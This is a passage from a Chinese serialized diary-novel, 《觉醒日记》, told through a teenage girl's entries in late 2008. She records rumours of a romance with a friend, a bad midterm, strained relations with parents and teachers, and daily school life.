后来又说到邱妈的亲妹妹，我的天啊！怎么可以这个样子呢？他的妹妹有个哥哥！！！这不是我最向往的吗？虽说邱妈不完全符合我对哥哥的要求，但是听他的口气应该是个不错的哥哥吧！啊啊啊！为什么我就没有哥哥了——为什么？！！！小美老师一直要求邱妈要把他妹妹的照片给她看，什么时候我也要去看下。听邱妈同学说长得很是可爱，那我就更要见识一下了。小美老师说邱妈的爸爸很帅的！不过，他长得怎么就那么让木木同学讨厌呢？奇怪！这就是人啦！ 我不知道为什么，又觉得自己被打击到了。听了邱妈的话确实有道理吧！似乎是我害了猫吧！弄得他现在动不动和妈妈吵架的，我要悔改了。 如果要我马上说一句话形容这个世界，我只能说:这个世界很黑白。也就是所有的事非黑即白，总有一天，这个世上的人们会因为粉色属黑属白吵起来，各人都有各自的理由，都自以为充分。 用数学老师的概念，语文老师的表达来说:我和我的一切是这个世界的真子集，所以我和我的一切也很“黑白”。记得初中有个老师很喜欢说:我们举个例子。那我就举一个吧！很荣幸我被盖上“早恋”的红章章，原因很简单:和男生走在一起，和男生打电话、发短信、说话、吃饭……那我是否应该自豪地说从幼儿园起我已经交了不下二十个男朋友了？是不是说话就是有好感；走在一起就在发展，打电话、发短信就在深交；吃饭就在热恋；那试问带回家吃过饭是不是就见父母准备订婚了？我的天啊！什么逻辑？既然有女生痴痴来问:“班长，你是不是谈过恋爱？”哈，连手都没牵过的我就直接恋爱啦！那我也是很厉害哦！ 记得还有一个老师，再举第二、三、四、五、六...个例子时喜欢说:我们再举一个例子！来啊——我们再举一个例子。我至今为止，理科成绩臭得可以熏死五头牛四头猪三只猫……老师找我谈话:你不会是要做文科生吧？！那种口吻是惊异的。同学开始议论:原来以为她多强，连我都考不过。天晓得我干了什么招来这么多非议。为什么要那么绝对呢？为什么一棍子就把我打死？世界的非黑即白是真相大白吗？为什么不给世界上色？为什么走在一起的男女生不会是好朋友？为什么成绩很烂的同学不会咸鱼翻身？ 我本期待彩色的世界。 一直坚信有人会在看完后说me，too. 2008年10月27日 星期一 阴 刚才听了谢老公公给我的回信，他表扬了我挺多的，比如说我举止端庄、气质风度不错等等，感谢他对我的关心吧！忽然想起来以前老外公对我特别好，不过那似乎是很久以前了吧，我太小，已经记不起他的模样。还有老外婆对我的偏爱，当年她去世的时候我更多的是害怕吧！ 我现在没心思把先前想写的详细写完，王玲阿姨忽然来我家了。如果没有重要的事就不会这么急了吧！肯定是她又看到或听见什么。对于这一切我表示无语。我发誓我和猫之间只是纯纯的友谊，根本没有像别人想的那么恶劣，我们俩都清楚现在自己要做什么，根本没有像其他人看似的那样。对此我表示愤怒。我们所做的只是督促对方好好学习，仅此而已，算了，我不想那么多，作业要紧，结果马上就出来了。 刚从我妈房间出来，看了地方台的新节目:地方老照片。县城从前的模样是破败的，但现在可以算上是欣欣向荣了吧！热爱它！看来王玲阿姨没怎么，她后来来我房间看我，聊了快1个小时，还是轻松愉快的，所以我也就没那有感得慌了。 现在把我前面没说完的话继续吧！我觉得我对毛羽的感觉是那种多了一个人应该关心，多了一个人和我分享，有一个理解我的人。对他好像是一种责任，也是一种约束，比如后来我确实没有再敢吃冰淇淋。虽然有的时候有点累，不过好朋友就是要这样子的。至于他对我，也很多啰，那种感觉就像我找到了哥哥，虽然离我对哥哥的标准有差距，但确实不错。但有时候也像不听话被训的小猫啦！我们的顶峰也不过是纯纯的爱，根本不会逾越“恋爱”那条界，这点我清楚，他也清楚，所以大家就不必瞎操心啦！所谓日久生情也只是友情，至于爱情，真没敢想。我要写作业啦！嗯嗯，加油！！！ 2008年10月28日 星期二 晴 今天我又莫明奇妙地闹郁闷，害得毛羽担心，对不起啦！现在想起来还真是惭愧。我刚才看了有关残奥会开幕式节目的编排，那些失聪的可爱姑娘们在艰苦的环境下依旧乐观向上，我这个幸福的健全儿还有什么好都闷的呢？一直觉得自己心胸不够宽广，就是这样吧！所以我一定要开心一点的。至于毛羽说话的问题，信任他罗！只要不让我看见就好，眼不见为净。不过约束对他是不是很恶劣呢？他似乎没必要因为我而放弃他的自由。所以怎么说好像都是我不对。所以明天好好道歉吧！一切都会好起来的。 加油！ 2008年10月29日 星期三 未知 很开心刚到了新的一天。对面楼的灯还亮着，显然在吃夜宵。精神好，我现在，不过饿了，看来我也要去吃了，不过要是吃零食又会发胖了，我好不容易瘦下来的，所以忍一忍就吃两块饼干吧！可怜的孩子…… 就要期中考，我什么都没准备好。每天作业好多的，希望因为我有努力读书可以瘦下去。这周我一定去称体重的。不过今天白天我还真的是很亢奋的。骂人骂得喉咙痛，夸张死了！ 现在我和木木、小水、了了明显远了很多，我也说不清楚为什么，可能是我和毛羽走太近吧！也许她们会怪我？或许本来就没有这么这回事，是我想太多。 今天是邱妈生日，原来他是满心期待史老师 16. 高一（上）十一月（1） 《觉醒日记》全本免费阅读 2008年11月1日 星期六 阵雨 说不清楚怎么了，感谢2班班长的提醒，我要开始奋斗了。尽管有很多，一科一科来吧！ 本来我还有点小气愤，现在倒也好，我喝歌唱了一个多小时并录了下来现在正欣赏着，感觉好极了。以后心情不好就可以这么做，很有意思，很搞笑的…… 想到上午因为下雨所以从学校又回来，奶油问我大刘会不会因为要考北大还是考清华而烦恼呢？我笑了很久，说:不会！中午的饭真的很难吃，我基本上没有吃东西，所以下午在老师家里很饿的……今天结束的比较迟，出来的时候真的觉得很冷的，我开始大嚷大叫的。大宇问我这样可以叫来夏天吗？我说只要叫六个月就可以了！只要坚持就可以！他表示无语，后来和大宇一起坐车回家。 吃了饭就上线了，结果看到猫发的一封很“丧气”的邮件。不过我也不知道我自己该怎么办的，不过我觉得加油就好啦！邱妈又开始向我抱怨了，我实在是对他无语啦！不过总觉他好像很受伤的。 奇怪的是，我本来有很多豪言壮语，可是一要写日记就没有那么多东西可以写的。或许等一等就又想起来了。我不知道为什么，早就准备买新日记本了，可是却总是忘了，都不知道我是什么破记性。 2008年11月2日 星期日 雨 从外教家刚回来，心情不错，也买了新笔记本了。不过奇怪物价为什么上涨得那么厉害，3本笔记本花了20元，也是100元的五分之一，一个100这么花几次就没了，然后由100到200到1000……原来钱就是这么花光的。那又要怎么攒呢？一滴汗一分钱，那要多少滴汗才有100块了？我现在还不会挣钱，所以更没有资格去挥霍我父母的汗了。明天的第一科是化学，我一点底气也没有，当然，我没有哪科是有底气的。算了，这个不提吧！好好读书啰！ 战火硝烟，好好读书。 读着读着忽然想吃东西，吃着吃着就忽然很开心，开心开心就唱起歌了。 2008年11月3日 星期一 阵雨 今天考完两科，感觉不好，及格是可以的吧！不是很想复习，但是一定要复习，加油吧！一切都会好起来的。 2008年11月4日 星期二 阴 今天考完两科，感觉有点奇怪，及格是没问题啦！明天要考数学和历史了，这可是大问题哦！我的数学，有点危险，目标上100！至于历史，我知道自己要怎么读了，语文但愿可以上100分吧！只是但愿，没有别的什么意思。我知道自己是要付出努力的，加油！！！ 2008年11月5日 星期三 晴 考完数学回来，又因为粗心丢了不该丢的分数，会做的做错了，真的是不应该，今天下午要加油喽！努力就一定会成功的。哈哈！冲啊！ 前下和毛羽已经定好了规矩，12月5日再重新开始联系。明明是朋友，结果被弄成这样子我真的是不好说什么。说起来确实有点舍不得，不过为了我的前途和毛羽的前途，一切都靠边站，再加上毛羽的妈妈。我们的电话再不会出现在对方的电话上，除非紧急情况。为了让别人闭嘴，一是自己要做好，二则是用成绩去堵别人的嘴，这两点都是必要的，既然以后要自己承担烦恼，那我就要更坚强一点，学会更好，最重要的还是要好好读书。 下午到家不久后开始头晕想吐，后来吃了药，现在确实好多了。下午是和雯雯、了了一起走回来的，那种感觉不错。 不过12月5日，我要坚持、加油！ 2008年11月6日 星期四 晴 Oh， my god！ please just save me. I＇m lost and lose my head. How stupid I am. What do I do？ I hope everything goes well！ From now on！ Too much drama！ 2008年11月7日 星期五 阵雨 我承受了我应该承受的，我自己造成的，无话可数。不可怜，只是有点蠢，不知道自己在干什么。既然选了高中这条路，就要好好走。剩下都见鬼去吧！我仍旧不认为父亲就有资格吼我，至少我不认为他就足够优秀。 I can do it! Just smile! The world is wonderful! 2008年11月9日 星期日 晴 这几天发生了太多的事，我不知道应该怎么说。我经历了这十五年来从来没有过的经历，不知道算不算是一笔财富吧！我现在已经调整好心态去做我应该做的事了，所以，我会加油的。不会被任何事物打击到，也不可以。顺其自然，好好面对，这一切都是我做事的结果，我必须面对。 如果我还想笑，那就只有读书。 2008年11月10日 星期一 晴 今天好冷，风好大的。我都有点受了不了，期中考以来日子真的不好过吧！史老师总喜欢在我耳边嚷，我不好表态，反正我知道自己要好好读书就是。今天一天，我没有和毛说一句话，也没有什么太大感想吧！不习惯，奇怪！我想到史老师就抑郁，段老师也还是那么阴森的。我知道要抓紧时间了，否则结果会像这次一样悲惨的。放眼望去，落下来的只有我。所以，加油！明天狗屎操就比赛了，终于结束了该死的狗屎操，哈！ 今天的学习还凑合，我也不知道算不算是抓紧了每一分钟，不过该读的都有读吧！可是奇怪现在人有点晕，不是很清醒。 最后，我会考给你们看的，用成绩堵住你们的嘴！小心不要被吓到！ 加油！ 2008年11月11日 星期二 晴 天又是很冷的，我觉得不让人舒服。上午的体育课被拿走上班会，史老师字字句句讲得都攻击到我，很伤心。换了同桌。屎老师一说我要调整一下座位，我和了了就同时收书包。我低头，压低声音说:“ Are you ready？”了了低低地说:“bye-bye！”我们不会再陪伴对方走下去，但愿彼此都好吧！很明显，还有毛羽那桌被拆，这种意味是明显的，也是可怕的，意味屎老师对我们的不满，我也知道自己干了蠢事，所以接下来的日子要加倍努力了。 下午一点半就要到校，有狗屎操比赛。反正，好好读书才是真！前下刚给毛羽发完邮件，刚关电脑，我爸妈顿时出现，好险！我在电脑上待了快一个小时吧！估计是在向毛羽发泄情绪。不知道他这几天过的怎么样？估计不怎么好吧！反正我也是凑合，哈！很开心的是狗屎操结束了，万岁！之前在网上的一小时算今天玩过了，接下来，加油！不可以偷懒了。 2008年11月12日 星期三 晴 上午过得还算凑合，和新同桌之间没有什么太大想法。因为期中考很烂，课间操被黄老师说了。史老师也让人觉得怪怪的，真是的，太恶劣，我会好好读给你们看的。有什么了不起的，不就是好好读书吗？我现在就好好读给你们看！ 忽然觉得高祺很可怜，怎么怎么都被人看不惯的，反正我仍旧不喜欢他吧，虽然也说不上讨厌。邱妈上午竟然把透明胶贴在我背后，太恶劣了，我把他骂了一顿，后来也就好了。昨天晚上我没做完英语作业，现在还是不想做，不管了，就这样吧！下午还要上课的，加油！ 中午我为了做作业放弃了睡午觉，很痛苦。我上了一节令人不爽的电脑。讨厌高祺坐在我旁边乱叫。换了座位发现确实安分了很多。不过发现我仍然会很自然地像排干扰那样忽略史老师的话，甚至在物理课上都是。我有点怕见到他，而且见到他就浑身不舒服。明晚的家长会是我爸去开，不知道他会不会向我爸告状，如果会，那我就真的完了。不过他又可以对我爸说什么呢？我一向安分的！！ 很高兴这次的体检单一切正常，要是 17. 高一（上）十一月（2） 《觉醒日记》全本免费阅读 现在我把我的诗 紧密地装在这本子里 像一只挤满了鸟雀的笼子一般送去给你那碧空，那围抱星辰的无尽处 我的诗句群飞穿过的空间 都被留在外面 我的心为着我在这光明和生命世界 上的地位的奇妙而歌唱 为着在我的脉搏里的，创造的节奏 因无穷时光的摇曳变成韵律的感觉而歌唱我在林中散步感到了芳草的温柔 路旁的花朵使我喜跃 就是无穷的赐予是散播在尘土里 在惊奇中唤醒了我的诗 我看见过，听见过，生活过； 在知识的深处曾觉到 那高过一切的真理 它以惊奇充满了我的心，我就歌唱。 ——泰戈尔 2008年11月13日 星期四 晴 晚日子过得很快，这似乎是我的第三本日记本吧！从小学一年级起，我开始写日记，不过总是“三天打渔两天晒网”，所以六年过去了只有一本。我的初中相对来说写日记更勤，所以昨天为止是第二本。今天我开始用这本记录我宝贵的高中三年生活。就像我买这本笔记本时说的，我要像封面的那只猫一样，在我出现过的地方留下印迹。所以，好事总是这样开始的。 今天是高祺的生日，我到校的第一件事就是祝他生日快乐，我觉得挺够意思的了。至于晓晓为他做的，那是很浪漫啦！上午的地理课被拿去照会考相片，很无聊的，后来上来了也就站在走廊上说话。 语文课听得很high，毕竟期中考的语文对我来说是耻辱。下午第三节要开学生大会，我知道和我没关系，所以也就没什么好期待的，看期末考啰！昨晚的作业完成情况不是很乐观，化学练习册没做，加油吧！上午的数学课是陈老师代课，不知道为什么我听着想睡觉，不知道这算不算是态度恶劣？八中又热闹非凡的，调整状态，下午也要努力的。最后，很高兴看见我的发带，感觉很欣慰，找到不容易啊！ 吃过饭休息了一下，我就准备去上学了，希望下午一切都好。不要在这快乐的日子里凭空炸下一堆作业吧！连续几天没有午休我已经筋疲力尽了，下午还是要奋斗的。 前面在楼下和毛羽说话被我妈看见。可见她不是很高兴，她说被撞见两次了，然后我说这和我有什么关系，我妈就讲讲讲。今晚上有家长会，看来我要小心了，不知道我爸回来会不会气炸掉冲我发脾气。不过我一定要克制住自己，也没什么好解释，就是这样子。所以我要好好读书，堵住他们的嘴。朋友就是朋友，同学就是同学，界线我还是分得清的，所以麻烦我妈不要担心了。祝我一切顺利！ 刚看了一段《巴黎圣母院》，我就趴在书桌上睡着了。我决定第二遍看它是下了很大决心的，还有《论语》，我也打算重看，然后背下来，这对于我文言的学习一定是有好处。 我由于太无聊，把生物还没教的作业先做了，我觉得消化的还行吧！没遇到什么大困难。接下去要把物理作业提前结束，我已经做了几题了，觉得不是很难。接下去我要做的是把先前落下的课程补起来，我会重新开始一遍的，完全自学，还有一大堆的参考书、练习，够我用的了。向木木学习，瘦下去。然后向赫敏格兰杰看齐，成为好学生，以后我再不会让自己在年段的学生大会上受伤了，我一定会在开始不久听到我的名字。 我妈说，成绩好，活得开心，不当班长也没关系。我不这么想，我不要永远灰头土脸地受气，我要读好自己的书，做好自己的班长。份内的事，我都会好好去做。说来说法，就是要读书。从期中考以来，我好像只能对这些事做一些记录。说起来也是，我现在除了读书还能干什么呢？我不就为了本本分分上一所重点吗？ 在初中的时候，我妈同事总是说不要高兴太早，等到了高中再说成绩好不好，我知道我给我妈丢脸了，我会把脸争回来的，期末考等着看吧！我会自己把年段前十那个属于我的位置夺回来的。即使要在天花板上吊睡袋，在教室里放上锅碗瓢盆，在房间里吃喝拉撒，一切都在所不惜。我比 Betty幸运，家庭完整，五官端正，只是缺少她的一份执著。再困也要顶住，偷懒绝对不行，我一定要坚持坚持再坚持！把红旗插上去，把江山夺回来，“三剑客的时代”没有过去！ 我克制住自己，平静地接受了我爸在家长会后的一番教诲，我没有什么好辩解的，就像判处死刑的罪犯不再有生的奢望，我只是静静地接受。可惜史老师、段老师看错我了，他们单纯地认为我那么“无可救药”，大家都看错我了，我不是那样“不自爱”的人。我被打上“差生”的烙印，我不打算反抗，已经无力。从来没想过这种怀疑发生在我身上，可是事情就这样发生了。现实是残酷的，但我仍然要面对。依明平静吧，成绩是我无声的审诉。 2008年11月14日 星期五 晴 一个上午过得不好也好，自己也说不清楚。不过比我同桌那根紫色唇膏更可爱的淡紫色让我感到开心，我虽然一向喜欢绿色的绿茶味，不过据说薰衣草可以让人保持愉快的心情，所以我也希望可以。一进门提到的仍旧是期中考后补习的事，每天傍晚留下20分钟。我清楚地知道这意味着什么。记住，我现在是差生，会有好生来帮助我的。 现在我坐在这里等饭吃，不知道为什么变得很容易发呆。我的一个周末都在补课，我也知道这是我活该，自作自受的。代价很大，今天晚上我会像平时一样坐在这里——写作业吧！ 我发现其实我是苍白无力的，面对很多事情都没有勇气。很累，很受伤。即使在学校也只有在一些时候才可以放肆地笑，尽情地闹。永远有眼睛在暗处盯着我，可以为一个值得怀疑的眼神迅猛扑来咬我一口，我开始大量地流血，不敢哭闹，很痛……头很重，我的脖子就要支持不住，不过不知道这种死法我会不会觉得难过，但愿不要，时间短一点，我怕。 吃饭的时候更多是气愤，我爸竟然觉得我成绩下滑因为缺乏管教，他认为我妈没有好好管我，这是什么歪理？就是看他这样，我也不会早恋了。 然后说到毛羽的母亲找史老师的事。我实在不敢想像他的母亲的可怕程度，那是令人发指的。 屎老师说，就算我爸不去找他，他也会来找我爸的。毛羽妈告诉屎老师，我们放学经常走在一起，她跟过好几次了。她看过毛羽聊Q，也是和我，她会去找屎老师就说明她觉得这里面有什么可以解释他儿子一直以来的情绪烦躁、心神不宁、老往外跑、太迟回家而导致成绩下滑，这和我有一定的关系。 我妈问:她为什么不找自己孩子有什么不对的地方，把这些男女生的事告到老师那里去？我没法回答我妈的问题，我知道她是爱护我的，她还说，所以她不喜欢我和这种家庭出身的男生走太近。这又让我想起来，我爸昨天气势汹汹地对我说离男生远一点。总归一点，我妈不喜欢毛羽连带他母亲。我妈认为有些事情伤害到我，她对我完全的信任，为我感到不平，她不相信那些话！ 我真的很感谢妈妈对我的理解，我也会证明给他们看的，包括屎老师、段老师、我爸、毛羽的妈，这些看低我的人。我说过不会早恋就是不会！期中考就是最好的教训，什么叫“野”？什么叫“差生”？是呀，感谢你们对我的关怀，我记住了，会努力的，一定不辜负你们的期望！ 2008年11月16日 星期日 未知 又是凌晨坐在床上写日记，很混乱，想睡觉……忽然觉得要是有养宠物就好了，像小狗小猫，这时候就可以让它们躺在我身边，我一个人就不孤单了。而且动物不像人那么麻烦，它们可以一直跟着我，不问理由，不嫌我成绩不好，不讨厌我发脾气。我和它们玩，它们不用担心成绩下滑，也不会被爸爸妈妈批评。它们只是觉得我最好，永远用和气的眼神看我，用可爱的方式逗我笑。 不过，或许又会有人跳出来说“哈！你玩物丧志！”这种喜欢从天抱怨到地，从草批评到花，从大门口管到窗玻璃的人是不在少数的。在一夜之间，认识的不认识我的人就都知道我是这么个“玩物丧志”的人了，想也白想，困了！ 很快的，周末结束了。作业没做完，我决定不做，没有心思。 前面洗头被批评。我妈说老说头对身体不好，我爸说这是其次，重要的是浪费时间，我的天啊！然后我爸还说，估计木木一个月洗一次头，我知道这话什么意思。我只是实在无聊，憋得慌，用洗头解闷。不过以后不会了，一天洗一次似乎有点可怕。 补了一个周末的课头有点大，其实也说不清楚自己在干嘛，就是永远晕乎乎，似乎永远都不清醒。我说给我爸妈听，结果遭批，那我还是闭嘴了。再不会说什么，也没胆，我就是不敢。我不知道现在是什么世道，即使我爸告诉我为了给我买靠枕如何如何费劲，我现在倒想把它扔了，看着心烦。一看就想到他给我的那张时间表。亏他们给我取名叫“贾含真”，干脆叫“贾中假”好了…… 不过不管是什么世道，只要成绩好就黑白通吃，所以闭上我的嘴，好好读书吧！ 2008年11月17日 星期一 晴 什么鬼都不知道，我进门听到的第一句话就是，“今天艾哨兴的老婆说去看了你的成绩，退了很多！”这辈子就因为这次期中考没完了。我爸像鬼一样每天看到我提一次，算我欠他的了。 然后讲到傍晚大扫除屎老师发火严格检查，到六点才结束。我爸也能扯到我期中考的败笔，所以屎老师生气罚我，这是什么逻辑？！ 然后在饭桌上讲到堂姐喜欢上她干妈的儿子，我爸妈竟说到我的早恋问题，说什么提醒我不要早恋。每天这两件事就萦绕在我耳朵，好像不提它们我就会立刻犯错死掉，拜托！被你们提了我才有冲动和你们对着干好不好？！什么狗屁正确引导，什么狗屁！！！ 我妈刚进来看见我在写日记，竟然说我浪费时间。她说这有什么好写的，听多了都麻木了！什么鬼，本以为相对而言我妈更开明，结果一个样！杀了我吧！杀了我吧！干脆发它一个月高烧，什么都不知道好了！得知毛羽的日记本被撕，实在太可怕了，现在的家长都是什么啊！我干脆去做尼姑算了，六根清净，还说不准就得道成仙了！ 2008年11月18日 星期二 阵雨 刚到家，我打算做一些没有负担的事。几乎这一天都围绕毛羽展开的。上午发生什么我记不得了，反正写了一封类似“诀别书”的东西，感情基调比较平淡，毛羽似乎没有想法，不过下午觉得他低落了很多，因为马上可以去理想的地方而喜极而泣吗？估计是不会。 2008年11月19日 星期三 未知 这应该是我有史以来第一次吧！7:00全班第一！早晨有点冷，学校里尽是风。坐在这里回想昨晚的事，真的很奇怪。 昨晚是我爸煮的饭，吃完六点四十，我本想写日记的，因为困却趴在桌子上睡着了。后来是我爸进来把我叫醒，告诉我这样会爱凉，于是我迷迷糊糊爬上了床，也就睡着了。结果我爸先后进来两次，开灯——我睡觉最讨厌的，然后吃药，我爸认为我生病了。接下去的两次是我妈，她确定我没发烧之后，使尽浑身解术叫我起床写作业，我仿佛记得先是摇我，然后是推，拍，打，掐，捏，但我实在是太困，连理都没理就继续睡着。 做着许多天以来的同一个梦——毛羽说在某个地点等我，然后我总是不理解，事后他说我“苯”。早上我好像是五点起的，因为睡了十个小时，这是很久以来都没有的感觉，很不错！毛羽什么时候走呢？要不要开“欢送会”？到时候可能“欢”不起来了。他走了，我可能又要做我的“独行侠”了！呜呜……舍不得。这几天都在想这件事的，我发现跟我玩的不错的人都走光了，为什么呢？为什么会这样子？额，不伤心啦！我开始背书吧！人也多了呢！加油！！！ 毛羽下午就走了，他要求我要对他say good bye！本来有好多好多话说的，可是什么也说不出来，希望他一路平安吧！ Have a good time！然后可以成功. 2008年11月19日 星期三 晴 今天风好大的，毛羽已经走了。下午很无聊，然后就没了。 2008年11月20日 星期四 晴 今天下午我开始了新一次的“周期性抑郁症”，一个下午都很烦躁，没心思听课。我完全不知道为什么又会这样，只是又气又恨。傍晚本来要留下补物理，我溜了，班里同学在那里讲闲话，我也不管，心里很难受。开电脑听歌被我妈批评。现在仍旧很孤立，和木木之间觉得有隔阂。 研究性小组也不知道和谁一组，大多都组好了吧！尹子和零零一组的，大刘、心心一组的，我呢？可以跨班和2班班长、小威一组吗？要不然不是很可怜？我现在很乱、很烦，和父母关系不理想，和同学朋友也是，自己也说不清楚难受。最近的事太多，我开始反反复复找不到头堵了。我为什么会这样子？可以暂时让我片刻宁静吗？可是好像不给我这个机会吧！ 现在糟透了，我一点喘息的机会也没有，就要憋死了。父母不理解、老师不理解、同学不理解，这一切都源于该死的期中考，该死的我，该死的我没有好好读书。下 18. 高一（上）十二月 《觉醒日记》全本免费阅读 2008年12月1日 星期一 晴 好久没有写日记了，因为今天完全和我的cellphone say bye-bye！ 傍晚的避难演习无聊至极。每个人都傻到极点，嘻嘻哈哈推搡着。之后的主题班会更是让人难受，在我看来有点残忍。所以我第n+1次立志好好学习！ 感冒弄得我头晕脑胀。上午用了三包纸巾，头晕得听不清自己和别人讲话。我妈告诉我那是因为“999”的药剂量太大太凶，我这破体质扛不住。加上西药散，我就更昏了。所以不得已在化学课后脸上留下睡印，不过趴在桌子上脖子又酸了哎！ 今天是金星木星相会的日子，二星拱月，弯弯的月牙，一明一暗两颗星，恰到好处的点缀在天空。可惜真正懂得它们的人不多，多少年才有这样的一次相会。人马座的浪漫是两颗星千年的命运。很美很美…… 上午补作业闹得我够呛，以后也再不敢了。从今天开始，不对是现在，加油！好了，我先去吃饭。 果然快餐就是快，我也是真的很火速，一边吃一边发呆还吃这么快。我一连打了两个喷嚏（这字我不会写），真的是累人呀！然后又跳到周五下午去看车赛的事。如果他们都去，他们说要包车去，我就待在家睡一觉好了。我对林志颖和韩什么的（我至今不知道是韩什么）没兴趣，不过是两个人，要是有缘早就撞见了，何必去和一群人挤，只为看一眼，这不是和自己过不去？下午在等绿灯的时候听见也看见一辆小轿车在狂biao（这个字我也不会），那架势很帅，因为我认为会违反交规的都不会是普通人，不会是凡人！那种声音也不错，让我有想逃课的冲动！作业不多就不叫高中了，所以，加油做吧！ 2008年12月2日 星期二 未知 刚看了一个 section的Victor就不想继续了，吃了药很困。穿一条裤子还是很冷的，我的脚快点好吧！晚上写作业很痛苦，于是去楼下剪头发，却发现二星拱月不见了，有点伤心。剪个头花了半个小时，晚上作业真的是多哈！ 现在是九点，今天晚上还是“双星拱月”，不过位置有点变化吧！还是很漂亮的，可是一边听英语磁带真的有点累。 早上的英语小测考得很烂，所以我干脆不管。数学上七了，物理也快及格了，虽说有的分数确实不该丢，不过总算是进步，加油！期末考我要杀回去的！物理力的分解学的有点不理想，有点急，我还是上课会发呆，克制一下，克制一下！为了寒假我怎么也要加油的！马上考英语了，作业没动，心里没底，总之还是有点怕。屎老师仍旧让人无意间就无视了他，不是我的错。 哇哈哈，我爸回来了，给了我妈一个big surprise。我爸骗我妈今天回不来，害我妈在吃饭的时候哼哼。后来又打电话说在路上刚上高速，我估计怕我妈太早锁门进不来，然后我妈就每隔几分钟打一个电话给我爸，她说我爸刚下飞机就上高速，开车会很累很困，怕他睡着了危险。我的天，他们的love还真的是very very deep。然后咧，我爸就扣门铃回来，我妈就很兴奋啰，马上就叫我出来。我开始很自觉地翻东西，看照片。 我爸说旅途不怎么样，青海湖有很多鸟，不过感觉没什么意思。照片比较零星，都是景，没什么人。我觉得这种照片最没劲，没人的话照什么都不知道。我爸照例给我妈买的是围脖，很奇怪我爸给我妈买的总是什么披巾，围脖系列。至于我嘛，我爸给我带了几块石头，说是黄河边捡的，然后就可以算是没了。 哦，还有就是很多很多白毛组成的，不知道是狐狸还是猫还是狗的挂坠吧！他确实带了so many的东西，大包小包。不过有一旅行袋的茶叶和枸杞及其系列补品。剩下的旅行箱里有那么那么大的空间却仍旧用来装茶叶。哦！还有我爸的习惯，一袋very heavy的书。似乎每次都是这样:茶、书、奇怪的植物的干，还有羊肉好像。还有一本剪纸，头一张是那个民间艺人为我爸剪的头像，旁边签了字、盖了章，无比夸张。 哎！我爸收到了车赛的邀请函，但对具体内容一无所知，所以票的问题被滞后。我也不管了，我爸让我去就去，实在不行我就待在家里睡觉。就算在家写作业也是读了书的，所以怎么都好的。 我的感冒显然不会轻易放过我，头痛了一个下午加晚上了，鼻子也不舒服。脚上的坑还是坑，仍旧没被填平。估计是今天运动过量，有点痛。晚上因为我爸回来浪费了很多时间。我发现自己开始讨厌写汉字，因为手太僵了，仍旧不会起热，写字也不顺畅。那道物理我真的不会。算了，洗洗睡了。 忽然很希望天花板上有个洞。 因为我拖拖拉拉又到十一点半了。我可以称为史上第一人了，一边泡脚一边喝感冒中剂——两边都烫。不知道为什么一这样我就什么都想写进日记里。我还是读下书就睡吧！我的精神？要好起来。 2008年12月4日 星期四 多云 刚填完“优干”的申报表，心里很难受，我觉得自己不配得到这个荣誉。屎老师让我把成绩往上提，他说那么低的分实在难看。我一共多报了8分，我一定会把这耻辱翻翻加上去的。还有先进事迹，也是把一切好的形容词往身上加。我觉得很虚伪，可自己现在到底在做什么呢？不就在一步一步完成这虚伪的事吗？我自己都不知道是对是错了。 08年以来我经历的东西都很奇怪，这一年就快结束了，希望可以交好运！这一年我只拿了一张市级的奖状，剩下的几张也只是学校凑数的头衔，真的是颗粒无收啊！我又在干什么呢？ 晚上时间的安排也还凑合吧！往事不堪回首啦！这次的英语单元准砸，直觉告诉我。 所有人都表现的让人极不爽，我咽下这口气，等期末考再报仇！我和毛羽的友谊日益加深，但我已经开始适应独行的日子。虽然有点累，但是我这样生活了十五年，不会因为尝到有人陪的甜头而摒弃原属于我的生活。现实是残酷的，它给了你一些东西，就必定会夺走一些东西。 对于上海我依旧感冒，听到先是一阵狂喜感叹大城市的好处，但也可以马上想到自己不适合那里。或许我就站在地铁站的入口也会迷惘，找不到方向。上海对我来说太大、太远、太繁华、太吵闹……至于香港，由一片一片的小小的组织起来，有窄窄的街、窄窄的广场、窄窄的迪斯尼，所以总是显得好满好满，不知道是它太充实还是我太空虚，我的思想已经要协助扩散到那里去了。那我到底要去哪里呢？我也不知道，未来有太多的幻想和期待，未知总是留给明天的。 明天下午的“车赛”我或许会坐在东区的三排，也许是五排上死盯住一点，我要找要看的东西，也可能坐在位子上也就睡了，不过我爸不会放过我的。他在我选“三”还是“五”的时候，参考我妈的建议应该把我留在身边。所以开幕式可以很精彩，但我的行动也可很无奈。好像大家都被骗了，林志颖至今也没来，这不关我的事！ 今天发生的事挺多的，有愉快的也有不愉快的。哎，不管了，地球又在转，太阳仍在绕，我咧，打打哈欠也就睡吧！ 2008年12月5日 星期五 大风 今天风好大的啰！本来打算晚上早点睡的，结果又弄到这么迟，我无奈。下午我不知道自是什么心情，可能本来还不错吧！一通电话以后兴趣全无，这就是命…… 2008年12月8日 星期一 晴 我发现我和毛羽都过分强调We are best friends，反向觉得不像，所以顺其自然，不要去想太多啦！ 下面来分析我的近况，凡是有考必砸，原因不想找，7:30，准时开始do my homework。 无语死了，我妈晚上要给我煮夜宵结果液化器打不着，结果我妈就生气了。我呢！物理作业第一题就不会做，汗死了！然后因为接了木木的电话，我妈极度不爽的！哎！做作业吧！ 哈哈！我基本做完了作业，晚上吃了好多东西:两个猕猴桃，一个地瓜，一个苹果和两个小桔子。 2008年12月9日 星期二 晴 日子过得好快，一天又过去了。晚上仍旧吃快餐，不知道父母最近为什么这么忙？抬头看见毛羽给我买的农夫山泉，我要开始写作业！ 2008年12月10日 星期三 晴 不知道为什么，我总是会在喝开水的时候把自己的舌头烫到。虽然现在还是 headache，不过too much better。晚上舅舅、舅母、我爸都在家里吃饭。刚到家，我爸就说回来太晚，我有太多理由。一看到饭菜我就想吐，现在还觉得恶心。我不敢给我爸妈说我人不舒服，因为我不知道那样又会造成什么后果。 毛羽今天似乎有点郁闷，因为居住证的事。既然他自己都知道分别这两年半只会让友谊更加深厚，所以没有什么好担心的了。我们本来就互相信任的！我困了，小睡一下哦！ 2008年12月11日 星期四 晴 很奇迹的，我今天竟然发烧了。不过我现在很开心的，没有什么理由，就是很开心。 我不想花精力去写我上午有多难受。之前看了好多东西，有《读者》，有我以前的日志，我觉得我真的是一个乐观向上的孩子，还有下午打针没有哭诶，太优秀了！只是现在屁股还是很痛很痛。护士告诉我这种药剂拔针痛，过后更痛。加上我凝血慢到一定境界，所以更是一种折磨。说起来也是好笑，凭什么就我凝血慢？ 我在考虑下午打针要不要换边的时候在厕所待了很久。护士和我妈在外面催，我开始腿软。如果换边，要是痛起来，两边一起上，那我也不要坐、不要睡了。要是不换，我知道那边会更痛的。后来我决定要想睡觉，侧左，那就不换，于是我终于出来。 